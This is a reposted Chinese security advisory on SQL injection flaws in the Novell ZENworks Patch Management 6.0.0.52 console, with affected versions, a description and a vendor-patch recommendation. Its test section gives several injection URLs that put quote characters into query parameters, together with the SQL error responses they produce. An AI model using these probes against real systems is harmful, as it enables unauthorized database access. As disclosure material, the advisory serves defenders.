Novell ZENworks补丁管理SQL注入漏洞_中国IT运维网www.cnitom.com

Novell ZENworks补丁管理SQL注入漏洞

2007年02月06日
/

受影响系统：

Novell ZENworks Patch Managemen 6.0.0.52

不受影响系统：

Novell ZENworks Patch Managemen 6.2

描述：

BUGTRAQ ID: 15220

Novell的ZENworks组件允许组织从SuSE Linux平台管理Windows工作站，Patch Management是其中用于管理补丁的组件。ZENworks Patch Management的管理控制台中存在多个SQL注入漏洞，远程攻击者可以完全入侵基础数据库系统。但如果要利用这个漏洞，管理员应至少手动创建了一个非特权用户帐号。

测试方法：

http://192.168.1.10/computers/default.asp?sort=&Direction=';
Response from server: Incorrect syntax near ', @RecsPerPage=100, @FirstRec=0, @Action=0, 
@Search = ', @groupFilter = '.

http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]
&Dir=asc&SearchText=';StatusFilter=ERRR&computerFilter=187&impactFilter=29&saveFilter=save
&Page=rep
Response from server: Incorrecy syntax near ', @delimiter='.

http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]
&Dir=asc&SearchText=CIRT.DK&StatusFilter=';&computerFilter=187&impactFilter=29&saveFilter=
save&Page=rep
Response from server: Incorrect syntax near ', @groupFilter = ', @ImpactFilter = '.

http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]
&Dir=asc&SearchText=CIRT.DK&StatusFilter=ERRR&computerFilter=';&impactFilter=29&saveFilter
=save&Page=rep
Response from server: Line 1: Incorrect syntax near ', @Contact_ID='.

建议：

厂商补丁：

Novell

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

声明：中国IT运维网登载此文出于传递更多信息之目的，并不意味着本站赞同其观点或证实其描述。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请网友及读者仅作参考，并请自行核实相关内容。如原作者不同意在本网站刊登内容，请及时通知本站予以删除。凡本网站注明"来源：中国IT运维网"的作品，在授权范围内使用时，请保留注明"来源：中国IT运维网"。